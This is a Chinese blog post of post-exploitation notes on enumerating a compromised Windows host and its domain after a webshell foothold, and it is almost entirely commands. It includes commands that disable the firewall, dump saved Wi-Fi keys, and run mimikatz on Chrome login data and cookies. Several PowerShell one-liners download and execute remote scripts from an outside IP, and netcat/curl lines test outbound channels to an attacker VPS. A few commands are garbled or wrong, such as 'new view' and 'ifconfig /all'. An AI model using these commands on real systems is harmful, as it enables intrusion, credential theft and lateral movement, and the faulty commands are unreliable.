【渗透笔记】Windows主机信息收集-爱代码爱编程
在拿到webshell的时候,想办法获得系统信息拿到系统权限,进入到网络系统内部之后收集内部网络的各种信息,获取内部网络有价值的人员、资产信息。
内网渗透的第一步,内网信息收集。
环境搭建
内网环境分析
-
内网基础环境判断
IP、网关、DNS、是否能联通外网、网络连接以及端口、本机host文件、机器的代理、是否在域内、域名是什么。 -
分析机器所在位置区域
DMZ区(两个防火墙之间的空间)、办公区、生产区、核心DB等 -
分析机器的角色
普通web服务器、开发服务器、文件服务器、代理服务器、DNS服务器、数据存储服务器等 -
分析进出口流量是否能连通
协议的判断:常见的TCP、DNS、HTTP、ICMP等协议
端口的判断:外网vps做监听,内网机器测试常见端口,常见能出去的端口有有80,8080,443,53,110,123等
# TCP协议:
vps: nc -lvvp 8888
target: nc vps-ip 8888
# HTTP协议:
vps: nc -lvvp 80
target: curl vps-ip 80
# ICMP协议:
vps: tcpdump icmp
target: ping vps-ip
# DNS协议:
vps: nc -u -lvp 53
target: nslookup www.baidu.com vps-ip
dig @vps-ip www.baidu.com
工作组信息收集
工作组
工作组(Work Group):是最常见最简单最普通的资源管理模式,就是将不同的电脑按功能分别列入不同的组中, 以方便管理。
- 默认情况下所有计算机都处在名为WORKGROUP的工作组中
- 工作组资源管理模式适合于网络中计算机不多,对管理要求不严格的情况。
- 它的建立步骤简单,使用起来也很好上手。大部分中小公司都采取工作组的方式对资源进行权限分配和目录共享。
- 相同组中的不同用户通过对方主机的用户名和密码可以查看对方共享的文件夹,默认共享的是 Users 目录。
- 不同组的不同用户通过对方主机的用户名和密码也可以查看对方共享的文件夹。
- 所以工作组并不存在真正的集中管理作用,工作组里的所有计算机都是对等的,也就是没有服务器和客户机之分的。
本机信息
操作系统、权限、内网IP地址段、杀软、端口、服务、补丁情况、网络环境情况、共享、会话等
如果是域内主机,那么操作系统、应用软件、补丁、服务、杀软一般都是批量安装的。
内网网段信息
只有找到不同网段才能进行纵向渗透,否则只能横向渗透
- 内网网段扫描
- 文件共享、FTP连接记录、浏览器访问记录、mstsc连接记录
- 渗透路由器、交换机
用户信息
# 查看本机用户列表
net user
# 获取本地管理员信息
net localgroup administrators
# 查看当前在线用户
quser
quser user
quser user || qwinsta
# 查当前用户在目标系统中的具体权限
whoami /all
#查看当前权限
whoami && whoami /priv
#查看当前机器中所有的组名,了解不同组的职能,如IT、HR、ADMIN、FILE
net localgroup
系统信息
# 查询网络配置信息,ip地址段信息收集
ifconfig /all
# 查询操作系统以及软件信息
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" # 英文系统
systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本" #中文系统
# 查看当前系统版本
wmic OS get Caption,CSDVersion,OSArchitecture,Version
#查看系统体系结构
echo %PROCESSOR_ARCHITECTURE%
#查询本机服务信息
wmic service list brief
#查看安装的软件的版本、路径等
wmic product get name, version
powershell "Get-WmiObject -class Win32_Product |Select-Object -Property name, version"
#查询进程信息
tasklist wmic process list brief
#查看启动程序信息
wmic startup get command,caption
#查看计划任务
at(win10之前)
schtasks /query /fo LIST /v(win10)
#查看主机开机时间
net statistics workstation
#列出或断开本地计算机与所连接的客户端的对话
net session
# 查询端口列表,本机开放的端口所对应的服务和应用程序
netstat -ano/atnp
#查看远程连接信息
cmdkey /l
#查看补丁列表
systeminfo | findstr KB
#查看补丁的名称、描述、ID、安装时间等
wmic qfe get Caption,Description,HotFixID,InstalledOn
#查看杀软
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List
#查看本地密码策略
net accounts
#查看hosts文件:
Linux:cat /etc/hosts
Windows:type c:\Windows\system32\drivers\etc\hosts
#查看dns缓存
ipconfig /displaydns
网络信息
#查看本机所有的tcp,udp端口连接及其对应的pid
netstat -ano
#查看本机所有的tcp,udp端口连接,pid及其对应的发起程序
netstat -anob
#查看路由表和arp缓存
route print
arp -a
#查看本机共享列表和可访问的域共享列表 (445端口)
net share
wmic share get name,path,status
#磁盘映射
net use k: \\192.168.1.10\c$
防火墙信息
#关闭防火墙(Windows Server 2003 以前的版本)
netsh firewall set opmode disable
#关闭防火墙(Windows Server 2003 以后的版本)
netsh advfirewall set allprofiles state off
#查看防火墙配置(netsh命令也可以用作端口转发)
netsh firewall show config
#查看配置规则
netsh advfirewall firewall show rule name=all
代理信息
REG QUERY "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v ProxyServer
#通过pac文件自动代理情况
REG QUERY "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v AutoConfigURL
wifi密码
netsh wlan show profile
netsh wlan show profile name="HUAWEI-MINGY" key=clear
回收站内容获取
FOR /f "skip=1 tokens=1,2 delims= " %c in ('wmic useraccount get name^,sid') do dir /a /b C:\$Recycle.Bin\%d\ ^>%c.txt
目录路径在 C:\$Recycle.Bin
$I 开头的文件保存的是路径信息
$R 开头的文件保存的是文件内容
Chorme历史记录和Cookie获取
%localappdata%\google\chrome\USERDA~1\default\LOGIND~1
%localappdata%\google\chrome\USERDA~1\default\cookies
chrome的用户信息,保存在本地文件为sqlite 数据库格式
mimikatz.exe privilege::debug log "dpapi::chrome
/in:%localappdata%\google\chrome\USERDA~1\default\LOGIND~1" exit
mimikatz.exe privilege::debug log "dpapi::chrome
/in:%localappdata%\google\chrome\USERDA~1\default\cookies /unprotect" exit
Powershell
# FTP访问、共享连接、putty连接、驱动、应用程序、hosts 文件、进程、无线网络记录
powershell iex(new-object net.webclient).downloadstring('http://47.104.255.11:8000/Get-Information.ps1');GetInformation
MSF信息收集
run scraper
/root/.msf4/logs/scripts/scraper
run winenum
/root/.msf4/logs/scripts/winenum
域内信息收集
域(domain):域是一个有安全边界的计算机集合
安全边界:在两个域中,一个域中的用户无法访问另一个域中的资源)。
将网络中多台计算机逻辑上组织到一起,进行集中管理,这种区别于工作组的逻辑环境叫做域,域是组织与存储 资源的核心管理单元,在域中,至少有一台域控制器,域控制器中保存着整个域的用户帐号和安全数据库。
域成员计算机在登录的时候可以选择登录到域中或此计算机。
登陆到域中的时候,身份验证是采用Kerberos协议在域控制器上进行的
登陆到此计算机时,是通过SAM来进行NTLM验证的。
默认情况下,域用户可以登录到域中所有的工作站,不包括域控制器,管理员也可以指定具体的计算机,域用户 信息保存在活动目录中。
域控 DC(Domain Control)
在域架构中域控是用来管理所有客户端的服务器,它负责每一台联入的电脑和用户的验证工作,域内电脑如果想 互相访问首先都得经过它的审核。
域控是域架构的核心,每个域控制器上都包含了AD活动目录数据库。一个域中可能要有至少两个域控。一个作为 DC,一个是备份DC。
活动目录:AD(Active Directory)
- 域环境中提供目录服务的组件;
- 在活动目录中,所有的网络对象信息以一种结构化的数据存储方式来保存;
- 活动目录存储着有关网络对象的信息,如用户、组、计算机、共享资源、打印机和联系人等;
- 安装有AD活动目录的服务器就是域控DC。
用户可以通过AD活动目录定位到内网中的资源位置。
活动目录主要功能:
- 帐号集中管理:所有帐号均存在服务器上,方便对帐号的重命名/重置密码。
- 软件集中管理:统一推送软件,统一安装网络打印机等。利用软件发布策略分发软件,可以让用户自由选择安装软件。 • 环境集中管理:利用AD可以统一客户端桌面,IE,TCP/IP等设置。
- 增强安全性:统一部署杀毒软件和扫毒任务,集中化管理用户的计算机权限、统一制订用户密码策略等,可监控网络,资料统 一管理。
- 更可靠:更少的宕机时间。如:利用AD控制用户访问权限,利用群集、负载均衡等技术对文件服务器进行容灾设定,更可靠, 宕机时间更少。
活动目录为Microsoft统一管理的基础平台,其它 ISA、Exchange、SMS 等服务都依赖于这个基础平台。
容器
- Builtin容器:Builtin容器是Active Driectory默认创建的第一个容器,主要用于保存域中本地安全组。
- Computers容器:Computers容器是Active Driectory默认创建的第2个容器,用于存放windows server域内所有成员计算 机的计算机账号。
- Domain Controllers容器:Domain Controllers是一个特殊的容器,主要用于保存当前域控制器下创建的所有子域和辅助域。
- Users容器:Users容器主要用于保存安装Active Driectory时系统自动创建的用户和登录到当前域控制器的所有用户账户。
DNS域名服务器
- 域控服务器要求DNS服务器按名称查找计算机、成员服务器和网络服务。
- 域名解析:DNS服务器通过其A记录将域名解析成IP地址
- 定位活动目录服务:客户机通过DNS服务器上的 SRV 服务记录定位提供某一个服务的计算机
Net组件
# 查询域
new view /domain
# 查询域内的所有计算机
net view /domain:mingym
# 查询域内所有用户组(Enterprise Admins组权限最大)
net group /domain
# 查看域管理员的用户组
net group "domain admins" /domain
# 查询所有域成员计算机列表
net group "domain computers" /domain
# 查询域系统管理员用户组
net group "Enterprise admins" /domain
# 查看域控制器
net group "domain controllers" /domain
# 对比查看"工作站域DNS名称(域名)"和"登录域()域控制器"的信息是否相匹配
net config workstation
# 查看域内所有账号
net user /domain
# 查询指定用户的详情信息
net user xxx /domain
# 查看时间可以找到域控
net time /domain
# 查看域密码策略
net accounts /domain
# 查看当前登录域
net config workstation
# 登录本机的域管理员
net localgroup administrators /domain
dsquery
dsquery工具一般在域控上才有,不过可以上传一个dsquery
# 查看当前域内的所有机器
dsquery computer
# 查看当前域内中 的所有账户名
dsquery user
# 查看当前域内 的所有组名
dsquery group
# 查看当前域所在的网段,结合nbtscan使用
dsquery subnet
# 查看域内所有的web站点
dsquery site
# 查看当前域内的服务器(一般结果只有域控的主机名)
dsquery server
# 查看前240个以admin开头的用户名
dsquery user domainroot -name admin* -limit 240
其他
# 查看域内信任关系
nltest /domain_trusts
# 查看域控制器的机器名
nltest /DCLIST:MINGY
# 查看域内邮件服务器
nslookup -q=mx mingy.com
# 查看域内DNS服务器
nslookup -q=ns mingy,com
# 查看域内的主控域,仅限win2008及以上系统
netdom query pdc
定位域控
# ipconfig
ipconfig /all
# 查询dns解析记录
nslookup -type=all _ldap._tcp.dc._msdcs.mingy.com
# spn扫描
在SPN扫描结果中可以通过如下内容,来进行域控的定位。
CN=DC,OU=Domain Controllers,DC=mingy,DC=com
# net group
net group "domain controllers" /domain
# 端口识别
端口:389
服务:LDAP、ILS
说明:轻型目录访问协议和NetMeeting Internet Locator Server共用这一端口。
端口:53
服务:Domain Name Server(DNS)
说明:53端口为DNS(Domain Name Server,域名服务器)服务器所开放,主要用于域名解析,DNS服务在NT系统中使用的最 为广泛。通过DNS服务器可以实现域名与IP地址之间的转换,只要记住域名就可以快速访问网站。
内网存活探测
Netbios协议探测
Netbios:
IBM公司开发,主要用于数十台计算机的小型局域网。该协议是一种在局域网上的程序可以使用的应用程序编程接口(API),为 程序提供了请求低级服务的同一的命令集,作用是为了给局域网提供网络以及其他特殊功能。系统可以利用WINS服务、广播及 Lmhost文件等多种模式将NetBIOS名-——特指基于NETBIOS协议获得计算机名称——解析为相应IP地址,实现信息通讯,所以 在局域网内部使用NetBIOS协议可以方便地实现消息通信及资源的共享
-
nmap扫描
nmap -sU -T4 --script nbstat.nse -p 137 10.10.10.0/24
-
msf扫描
msf > use auxiliary/scanner/netbios/nbname
-
Nbtscan
项目地址# WIndows: nbtscan.exe -m 10.10.10.0/24 nbtscan -n # Linux: nbtscan -r 10.10.10.0/24
ICMP协议探测
ICMP是TCP/IP协议族的一个子协议,用于在IP主机、路由器之间传递控制消息。控制消息是指网络通不通、主机是否可达、路由是 否可用等网络本身的消息。这些控制消息虽然并不传输用户数据,但是对于用户数据的传递起着重要的作用。
-
CMD扫描内网C段存活主机
命令行直显:
>for /l %i in (1,1,255) do @ ping 192.168.8.%i -w 1 -n 1|find /i "ttl="
输出内容导出@for /l %i in (1,1,255) do @ping -n 1 -w 40 10.10.10.%i & if errorlevel 1 (echo 10.10.10.%i>>c:\a.txt) else (echo 10.10.10.%i >>c:\b.txt)
-
NMAP扫描
扫描一个C段下存活的主机
nmap -sn -PE -T4 192.168..1/24
-
Powershell扫描
powershell.exe ‐exec bypass ‐Command "Import‐Module ./Invoke‐TSPingSweep.ps1; Invoke‐TSPingSweep ‐StartAddress 192.168.1.1 ‐EndAddress 192.168.1.254 ‐ResolveHost ‐ScanPort ‐Port 445,135" powershell iex(new-object net.webclient).downloadstring('http://47.104.255.11:8000/Invoke-TSPingSweep.ps1');InvokeTSPingSweep -StartAddress 10.10.10.1 -EndAddress 10.10.10.254 -ResolveHost -ScanPort -Port 445,135
UDP协议探测
UDP(User Datagram Protocol)是一种无连接的协议,在第四层-传输层,处于IP协议的上一层。UDP有不提供数据包分组、 组装和不能对数据包进行排序的缺点,也就是说,当报文发送之后,是无法得知其是否安全完整到达的。
-
nmap扫描
nmap -sU -T4 -sV --max-retries 1 192.168.1.100 -p 500
-
MSF扫描
msf> use auxiliary/scanner/discovery/udp_probe msf> use auxiliary/scanner/discovery/udp_sweep
-
Unicornscan扫描
linux下推荐使用
unicornscan -mU 192.168.1.10
ARP协议探测
ARP,通过解析网路层地址来找寻数据链路层地址的一个在网络协议包中极其重要的网络传输协议。根据IP地址获取物理地址的一 个TCP/IP协议。主机发送信息时将包含目标IP地址的ARP请求广播到网络上的所有主机,并接收返回消息,以此确定目标的物理地址
- nmap扫描
nmap -sn -PR 192.168.1.1/24
- msf扫描
msf> use auxiliary/scanner/discovery/arp_sweep
- Netdiscover
netdiscover -r 10.10.10.0/24 -i eth1
- Powershell
powershell.exe -exec bypass -Command "Import-Module .\arpscan.ps1;InvokeARPScan -CIDR 192.168.1.0/24"
- arp-scan(linux)
传送门arp-scan -interface=eth1 --localnet
- arp-scan(windows)
不稳定传送门arp-scan.exe -t 10.10.10.0/24
SMB协议探测
- nmap
nmap -sU -sS --script smb-enum-shares.nse -p 445 192.168.1.111
- Crackmapexec
默认为100线程crackmapexec smb 10.10.10.0/24
- msf
msf> use auxiliary/scanner/smb/smb_version
域内端口探测
- msf中的portscan模块
use auxiliary/scanner/portscan/syn
- Nishang中的Invoke-PortScan模块
端口扫描,默认扫描常见端口,也可以用 -Port指定端口powershell iex(new-object net.webclient).downloadstring('http://47.104.255.11:8000/Invoke-PortScan.ps1');InvokePortScan -StartAddress 10.10.10.1 -EndAddress 10.10.10.255 -ResolveHost -ScanPort
- F-NAScan
F-NAScan
总结
版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。 本文链接: https://blog.csdn.net/keenshinsword/article/details/110471079